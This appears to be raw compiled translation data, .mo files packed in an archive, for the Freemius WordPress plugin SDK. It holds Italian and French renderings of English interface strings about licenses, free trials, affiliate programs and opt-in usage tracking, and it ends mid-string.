no spamAggiornamentoCarica e attiva la versione scaricataForteBacheca UtenteID utenteChiave utenteUtentiValoreL'email di verifica è stata inviata a %s. Se dopo 5 minuti non è ancora arrivata, per favore controlla nella tua casella di posta indesiderata.VerificatoVerifica emailLa versione %s é stata rilasciata.Visualizza dettagliVedi funzionalità a pagamentoAvvisoNon siamo riusciti a trovare alcuna licenza attiva associata al tuo indirizzo email, sei sicuro che sia l'indirizzo giusto?Non siamo riusciti a trovare il tuo indirizzo email nel sistema, sei sicuro che sia l'indirizzo giusto?Non possiamo caricare la lista degli addon. Probabilmente è un nostro problema, prova di nuovo fra qualche minuto.Abbiamo fatto alcune migliore a %s,%sSiamo felici di presentarvi il supporto al sistema multi network di Freemius.Siti, email e statistiche dei social network (opzionali)Benvenuto nel %s! Per iniziare inserisci la tua licenza:Che cosa ti aspettavi?Quale funzionalitá?Qual è il tuo %s?Che prezzo ritieni opportuno pagare?Che cosa stai cercando?Qual è il nome di %s?Dove vuoi promuovere %s?Pagina dei plugin di WordPress.orgVuoi fondere %s in %s?Vuoi procedere con l'aggiornamento?SiSI - %sSi entrambi gli indirizzi sono mieiSi muovi tutti i miei e risorse da %s a %sSi, %2$s è un duplicato di %4$s per il motivo di test, staging o sviluppo.Si %2$s è un nuovo e sito differente che è separato da %4$s.Hai già utilizzato una prova gratuita in passato.Sei a un clic di distanza dall'iniziare il tuo periodo di prova gratuito di %1$s giorni per il piano %2$s.Sei fantastico!Stai già usando %s in modalità prova.Sei a un passo dalla fine - %sPuoi continuare ad utilizzare le funzionalità%sma non avrai accesso agli aggiornamenti di sicurezza, nuove funzionalità o supporto.Non disponi di una licenza valida per accedere alla versione Premium.Hai la licenza %s.Hai la licenza %s.Hai aggiornato con successo il tuo %s.Hai segnato questo sito, %s, come duplicato temporaneo di %s.Hai marchiato questo sito, %s, come duplicato temporaneo di questi sitiPotresti non averci fatto caso, ma non sei obbligato a condividere i tuoi dati e puoi semplicemente %s la tua partecipazione.Hai già accettato il tracciamento d'uso, ci aiuterà a migliorare %s.Hai già accettato il tracciamento d'uso che ci aiuta a migliorare.Il piano del tuo add-on %s è stato aggiornato con successo.Il tuo periodo di prova gratuito %s è stato annullato con successo.La tua licenza%s è stata segnata come white label per nascondere informazioni sensibili dalla bacheca di WP (es: la tua email, licenza, prezzi e indirizzi). Se vuoi tornare indietro puoi farlo semplicemente tramite%s. Se è stato un errore guarda anche %s.La tua licenza%s è stata disattivata con successo.Il tuo account è stato attivato correttamente con il piano %s.La tua applicazione di affiliazione per %s è stata accettata! Accedi alla tua area di affiliazione a %s.Il tuo account di affiliazione è stato sospeso temporaneamente.Il tuo indirizzo email è stato verificato con successo - SEI UN GRANDE!La tua versione prova è scaduta.%1$s aggiorna ora %2$s per continuare ad usare %3$s senza interruzioni.La tua versione di prova gratuita è scaduta. Puoi continuare ad usare tutte le funzionalità gratuite.La tua licenza è stata cancellata. Se credi sia un errore, per favore contatta il supporto.La tua licenza è scaduta. %1$saggiorna ora %2$sper continuare ad utilizzare %3$s senza interruzioni.La licenza è scaduta. È comunque possibile continuare a utilizzare tutte le funzionalità di %s, ma sarà necessario rinnovare la licenza per continuare a ricevere gli aggiornamenti ed il supporto.La tua licenza è scaduta. Puoi continuare ad usare la versione gratuita %s per sempre.La tua licenza è stata attivata correttamente.La tua licenza é stata disattivata con successo, sei tornato al piano %s.Il tuo nome è stato aggiornato correttamente.Il tuo piano è stato attivato con successo.Il piano è stato cambiato con successo a %s.Il piano è stato aggiornato con successo.La tua sottoscrizione è stata cancellata con successo. La licenza del piano %sscadrà in %s.La versione di prova è stata avviata correttamente.CAPSìattiva una licenza quiAttiva%s non può funzionare senza %s.%s non può funzionare senza il plugin.Attenzionepermetti%s rimanentiAttivazioneannoAPIChiudiDebuggingCongratulazioniBloccatoConnessoScarica l'ultima versioneScarica l'ultima versione gratuitaMensilmenteScadenzaPercorsoInvio emailmeseAnnualeAnnualmenteUna voltaPianoNessuna chiaveVersioni SDKLicenzaSincronizzaSincronizza la licenzaAutoreNon attivoAttivobasato su %sInizia il periodo di prova gratuitoChiudiChiudidatagiornidisattivazione in corsodelega%snon %s mi invierà aggiornamenti di funzionalità e sicurezza, contenuti formativi e offerte.Piano %sFatturato %sMiglioreHeyOpsHey %s,oraoreInstallatoEvvailicenzaSitimsnuova versione Betanuova versionenon verificatoPrezzoPrezziopzionaleVersioneprodottitorna indietrosecsembra che la chiave che hai inserito non risulti nei nostri registri.inviami aggiornamenti di funzionalità e sicurezza, contenuti formativi e offerte.saltaUhmInizia il periodo di prova gratuitosottoscrizionepassa ai siti menzionati sopra stantel'ultima versione %s é quìprovaProva gratuitaEliminaDowngradeModificaNascondiIscrivitiCancella iscrizioneAcquistoMostraSaltaAggiornaAggiornamento%s favendor/freemius/languages/freemius-fr_FR.mo000064400000140331147600365160015010 0ustar00T +A+S+%, =, I,U,\,6o,,_[-#-- - . ..".*.3.;.@D.H..O.1/5/T/t/|/// /////&/-0K0 `0j0y00005000 0 1'1<1 U1 b1l1o}11122"2223!53aW303334"4*4>4F4O4W4 \4j4 |44444 S5^5r5 5 5 555Y526A6 R6^6g6l6|6(616%6:7Q7V7g7o7 7 777 77 77x7[8 8 89939t;999999:2: N:Y:[:fM;; ;;Y;a&<<<< < <;<===> > )> 6>C>jR>> >>3>?~'?U??@1@)L@-v@@S@ A'$ALAMOA7AgAp=BBByBHCaC CCCC CC C1C..DO]DDA-EyoEEa FkFBoF,FF F FFG 5G@GGGOG aG mGyGG4GG GGGGGH H'H .H :HFH`H eH rHHH!HH HHHH%H+ICI [I iI/vIImI~JJJJJ JJ J J)J K=K4FK{K5K(KKK-K,LU@LL1_M~MN[-OOOO OO(O*P",P1OP+P*P&PNPNQVQlQ.tQ)QQQQRR R 'R2R;RKR]R fRqRRRRWR SS-S6SQSXS\SeSmS }SS S5SsSlPT&TTT UU+UDUXU`U|U UU&ULUfVlV rV~VV V VV VV VVVW/%XUX)uX X X\XY'Y:YCYYYYYdYZ-ZZ ZZ['%[MM[G[ [[[[[\E \O\b\t\\\\*\\*\^]m]u]{]d]] ]] ^"^5^i=^W^"^B"_6e__ __-__`&2`Y`s`w`$`M``/a5aoUa>ab&bZBbTbRb.Ec.tc9cZc38d<ldbdP eU]e_efKf(fG#g#kg)g$gUg)4h^hph;h6h>i?iEi`ii$iiii j&+j*Rj7}jjjj3k7kLkbkzkk*k1kl$l#8l\lxll llll llNmWmvmmmmm1mnn/n ?n Kn Xn cnpn nnQnn n oo-o3o FoRo ao ko uo o o o o o o oohs":t!]tt t tt>ttbu*'vRv rv }v vv v vvvivZ.wwWwxxxxx1x9x AxLxbxxx1x1xy(y0y@yUyoyvyB~yyy y y*yz:zNz]z~szzz{&{-{! |FB|!|}|X)}#}} } }} }}~~ ~~;~+O~{~~~ ^knh{$̀/2!9Tρ ށ  (x?_ n&xÃ$^!ф%" 6Dsmx dc,#2OLT  '4xH ӊߊK4T]!B*d02ߌg.1P;6qr(m( 7I$א/ (229eU5˒ vOsM`͔/ߔ,;DL_o?- &."7Zov#Öǖז#5 O p{ 6>ʗ &74G| %ԙڙ7)a PۚT18j{1ɛX=:(c]nr$ - D NZ^ x Z) 37;5sءߡ ,5Kb jxxŢ>#W{ ƣգ >\ߤ-`0"-<D_ eq*v[om t §.ӧ! --(ީ z&ǪYH,`}73 .-a\G "3Y8Ʈ߮ / H1U  1;%Ms" xj+0SDZPl&޲* 7TX.ac0 ;ZFO"nd!b)/=Ck6D$iwgpwعPY$VP{̻-(WB( ü ϼ#ۼ* * 8BQelp w "+Ž  "'.5>F^n v о׾޾ q j u Ϳӿڿ  %DJ [ erz  m4=b~&6}A+sBu[#H _>8B <n_Sdr kT5^dMD:No(* buK>Eep%"TP 32~9$xW;C^zD|L=sjQJUIkXYZU95]t\tFh!:@7wh {-p-&mfGc N/<KqCVR1%y.@OSlgx WRL)'a4$z[\2{lcG8MFQ6(a`f?A;o }H+?Ei7/X3,|*rOPJ# V]Yy01`g')v,"Z0.ewqi!I vjn %s to access version %s security & feature updates, and support.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is the new owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre you sure you want to delete all Freemius data?Are you sure you want to proceed?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBillingBlockingBlog IDBodyBusiness nameBuy a license nowBuy licenseCan't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanCheckoutCityClear API CacheClear Updates TransientsClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDelegate to Site AdminsDelete All AccountsDetailsDon't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload the latest %s versionDownload the latest versionDownloadedDue to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.During the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEndEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used for the upgrade below and we will resend you the license key.ErrorError received from the server:ExpiredExpires in %sExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFull nameFunctionGet commission for automated subscription renewals.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid module ID.Invalid site details collection.InvoiceIs ActiveIt looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's not what I was looking forJust letting you know that the add-ons information of %s is being pulled from an external server.KeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense KeyLicense keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerMessageMethodMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNetwork BlogNetwork UserNewNew Version AvailableNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicenseQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires WordPress VersionResultSDKSDK PathSave %sScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSimulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSocial media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart TrialStart my free %sStateSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.TimestampTitleTotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser IDUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We made a few tweaks to the %s, %sWe're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress.org Plugin PageYesYes - %sYou already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have successfully updated your %s.You might have missed it, but you don't have to share any data and can just %s the opt-in.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismissdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,interjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew versionnot verifiednounPricenounPricingproduct versionVersionsecondssecskipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialsubscriptionswitchingthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Boris Colombier , 2018 Language-Team: French (France) (http://www.transifex.com/freemius/wordpress-sdk/language/fr_FR/) Language: fr_FR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=3; plural=(n == 0 || n == 1) ? 0 : n != 0 && n % 1000000 == 0 ? 1 : 2; X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js %s pour accéder aux mises à jour de sécurité et de fonctionnalités de la version %s, et au support.Compléter "%s" Activer MaintenantL'Add-on %s a bien été acheté.%s Installations%s LicencesIl y a %s%s et ses add-onsCommission de %s quand un client achète une nouvelle licence.La période d'essai du %s a bien été annulé. L'add-on a été désactivé car il ne fonctionne qu'avec la version premium. Si vous souhaitez l'utiliser ultérieurement, vous devrez acheter une licence.%sest un add-on pour la version premium. Vous devez acheter une licence avant d'activer le plugin.%s est le nouveau propriétaire du compte.Montant de paiement minimum %s.%s ou plus%s notation%snotations %s sec%s étoile%s étoiles%s fois%s fois%s pour permettre les mises à jour de sécurité et de fonctionnalités de la version %s, et le support.Cookie de tracking de %s après la première visite pour maximiser les potentiels de gain.Fonctionnalités payantes de %s%sCliquez ici %s pour choisir les sites sur lesquels vous souhaitez activer la licence.API←➤CompteDétails du compteActionsActiverActiver %sActiver la formule %sActiver les fonctionnalités %sActivez la version gratuiteActiver la licenceActiver la licence sur tous les sites en attente.Activer la licence sur tous les sites du réseau.Activer cet add-onActivéAdd Ons pour %sAdd Ons du module %sAjouter une autre adresseAdd-OnAdd-OnsLes add-ons doivent être déposés sur WordPress.org ou Freemius.AdresseAdresse ligne %dAffiliationAffiliationAprès vos %s gratuits, payez seulement %sValider & Activer la licenceToutes les demandesTous les typesAutoriser & ContinuerÉventuellement, vous pouvez l'ignorer pour l'instant et activer la licence plus tard, sur votre page de compte du réseau %s.MontantUn téléchargement et une installation automatique de %s (version premium) de %s va commencer dans %s. Si vous voulez le faire manuellement, cliquez sur le bouton d'annulation maintenant.Commentaire anonymeActiver sur tous les sites en attente.Effectuer sur tous les sites dans le réseau.Postuler pour devenir un affiliéÊtes-vous sûr de vouloir supprimer toutes les données de Freemius ?Êtes-vous de vouloir continuer ?Comme nous bloquons sur 30 jours pour les remboursements éventuels, seules sont payées les commissions de plus de 30 jours.L'installation automatique ne fonctionne que pour les utilisateurs qui se sont inscrits.Renouvellements automatique dans %sInstallation automatiqueNote moyenneFormidableDevenir un affiliéFacturationBloquantBlog IDBodyRaison socialeAcheter une licence maintenantAcheter une licenceVous ne trouvez pas votre clef de licence ?AnnulerAnnuler %s et poursuivreAnnuler %s - Je n'ai plus besoin de mises à jour de sécurité et de fonctionnalités, ni de support pour %s parce que je n'ai pas l'intention d'utiliser le %s sur ce site, ou tout autre site.Annuler %s ?Annuler l'installationAnnuler l'abonnementAnnuler la période d'essaiAnnuléAnnulation de %sAnnulation de %s...Annuler votre abonnementAnnuler la période d'essai va immédiatement bloquer les fonctionnalités premium. Souhaitez-vous continuer ?Changer la licenceChangement De PropriétaireChanger de formulePaiementVilleVider le cache APIVider les transients de mise à jourCliquer ici pour utiliser le plugin anonymementCliquez pour voir les avis avec une notation de %sCliquez pour voir la capture d'écran %d en pleine tailleProduitsCodeCompatible jusqu'àContactContacter l'AssistanceContactez NousContributeursImpossible d'activer %s.PaysType de CronDateDésactiverDésactiver la licenceDésactiver ou désinstaller le %s désactivera automatiquement la licence, que vous pourrez utiliser sur un autre site.Désactiver la licence bloquera toutes les fonctionnalités premium mais vous permettra d'activer la licence sur un autre site. Êtes-vous sûr de vouloir continuer ?DésactivationDebug LogDéléguer aux administrateurs du siteSupprimer tous les comptesDétailsNe pas annuler %s - Je veux toujours recevoir les mises à jour de sécurité et de fonctionnalités, ainsi que d'être en mesure de contacter le support.Vous n'avez pas de clef de licence ?Faire une donation pour ce pluginRétrograder votre formuleTéléchargementTélécharger la version %sTélécharger la dernière version %sTélécharger la dernière versionTéléchargéSuite à une violation de nos conditions d'affiliation, nous avons décidé de bloquer temporairement votre compte d'affilié. Si vous avez la moindre question, merci de contacter le support.Durant le processus de mise à jour nous avons détecté %d site(s) toujours en attente d'activation de la licence.Durant le processus de mise à jour nous avons détecté %s site(s) dans le réseau que vous devez vérifier.EmailAdresse emailFinIndiquez l'adresse de votre site ou d'autres sites sur lesquels vous pensez faire la promotion du %sIndiquez ci-dessous l'adresse email que vous avez utilisez pour la mise à jour et nous allons vous renvoyer le code de la licence.ErreurUne erreur a été reçu depuis le serveur :ExpiréExpire dans %sAdresses supplémentairesAdresses supplémentaires depuis lesquelles vous ferez la promotion du produit.FichierFilterPour être en accord avec les directives de WordPress.org, avant que nous commencions la période d'essai, nous vous demandons de nous permettre de récupérer votre nom d'utilisateur et des informations non sensibles du site afin de permettre au %s de communiquer avec %s pour vérifier les mises à jour et valider votre période d'essai.GratuitEssai gratuitVersion gratuiteAPI FreemiusDébuggage FreemiusLe SDK Freemius ne trouve pas le fichier principal du plugin. Merci de contacter sdk@freemius.com en indiquant l'erreur.État de FreemiusNom completFonctionObtenez des commissions pour les renouvellements automatiques d'abonnement.Vous avez une clef de licence ?Dites, savez-vous que %s propose un système de affiliation ? Si vous aimez le %s vous pouvez devenir notre ambassadeur et gagner de l'argent !Que pensez-vous de %s ? Testez nos %s fonctionnalités premium avec %d jours d'essai gratuit.Comment téléverser et activer ?Comment allez-vous faire de la promotion ?Je ne peux plus payer pour çaJe ne comprends pas comment le faire fonctionnerJe ne veux pas partager mes informations avec vousJ'ai trouvé un meilleur %sJ'ai mis à jour mon compte mais quand j'essaie de synchroniser la licence, la formule est toujours %s.Je n'ai plus besoin du %sJe n'ai besoin de %s que pour une courte périodeIDSi vous cliquez, cette décision sera déléguée aux administrateurs des sites.Si vous avez un instant, merci de nous indiquer pourquoi %sSi vous voulez transférer la propriété du compte de %s à %s cliquez sur le bouton Changement De PropriétaireSi vous voulez utiliser le %s sur ces sites, merci d'indiquer votre clé de licence ci-dessous et de cliquer sur le bouton d'activation.Information importante de mise à jour :Dans %sDans le cas où vous n'avez PAS l'intention d'utiliser ce %s sur ce site (ou tout autre site) - voulez-vous aussi annuler le %s ?Installer la version gratuite maintenantInstaller la dernière mise à jour gratuite maintenantInstaller maintenantInstaller la mise à jour maintenantInstallation du plugin : %sID du module non valide.Récupération des détails du site non valide.FactureEst actifIl semble que la licence ne puisse être activée.Il semble que la désactivation de la licence a échoué.Il semble que vous ne soyez plus en période d'essai donc il n'y a rien à annuler :)Il semble que vous soyez encore sur la formule %s. Si vous avez mis à jour ou changer votre formule, le problème est probablement de votre côté - désolé.Il semble que votre site n'ait pas de licence active.Il semble que l'un des paramètres d'authentification soit faux. Veuillez mettre à jour votre Public Key, votre Secret Key ainsi que vote User ID et essayez à nouveau.Ce n'est pas ce que je rechercheSachez que les informations de l'add-ons de %s sont issus d'un serveur externe.ClefMerci de nous indiquer ce qui ne fonctionne pas afin que nous puissions le corriger pour les futurs utilisateurs...S'il vous plait, dites nous pourquoi afin que nous puissions nous améliorer.DernierDernière mise à jourDernière licenceLa dernière version gratuite a été installéDernière Version InstalléeEn savoir plusLongueurLicenceContrat de licenceClef de licenceClef de licenceLa clé de licence est vide.À vieVous aimez %s ? Devenez notre ambassadeur et gagnez du cash ;-)Chargement des options de la base de donnéesLocalhostLogLoggerMessageMéthodeMigrer les options vers le réseauApplications mobilesModuleChemin d'accès du moduleType de modulePlus d'informations à propos de %sNomRéseau de BlogRéseau d'UtilisateurNouveauUne nouvelle version est disponibleLa nouvelle version gratuite ( %s ) a été installéNouvelle Version (%s) InstalléeNewsletterSuivantNonID manquantPas d'engagement durant %s - annuler quand vous voulezPas d'engagement durant %s jours - annuler quand vous voulez !Pas besoin de carte bancairePas d'expirationSans expirationAucune formule du %s ne propose de période d'essai.O.KUne fois la licence expirée vous pourrez toujours utiliser la version gratuite mais vous n'aurez PAS accès aux fonctionnalités de %s.Une fois votre licence expirée, vous ne pourrez plus utiliser le %s, sauf si vous l'activez à nouveau avec une licence premium valide.InscriptionDésinscriptionInscrivez-vous pour améliorer "%s" !AutreEmail du propriétaireID du propriétaireNom du propriétaireCompatible PCILes add-ons payant doivent être déposés sur FreemiusAdresse email du compte PayPalPaiementsLes paiements se font en Dollars US et sont effectués mensuellement via PayPal.FormuleLa formule %s n'existe pas, il n'est pas possible de commencer une période d'essai.La formule %s ne propose pas de période d'essai.ID de la formuleMerci de nous contacter iciMerci de nous contacter avec le message suivant :Merci de télécharger %s.Merci d'indiquer le code de licence que vous avez reçu par email juste après l'achat :N'hésitez pas à indiquer des statistiques pertinentes concernant votre site ou vos réseaux sociaux telles que le nombre de visiteurs mensuel, le nombre d'abonnés, de followers, etc... (C'est informations resteront confidentielles)Merci de suivre ces étapes pour finaliser la mise à jourMerci de nous indiquer si vous souhaitez que nous vous contactions pour les mises à jour de sécurité et de fonctionnalités, du contenu instructif et des offres spéciales :Veuillez noter que nous ne serons pas en mesure de garantir le maintien des prix actuels pour les renouvellements/nouveaux abonnements après une annulation. Si vous choisissez de renouveler l'abonnement manuellement à l'avenir, après une augmentation de prix, qui se produit généralement une fois par an, le prix mis à jour vous sera facturé.Merci d'indiquer en détail comment vous allez faire la promotion du %s (en étant aussi précis que possible)Merci d'indiquer vos prénom et nom.PluginSite Web du pluginID du pluginInstallation du PluginChangelogDescriptionFAQFonctionnalités & TarifsInstallationAutres InformationsCommentairesLe plugin est un 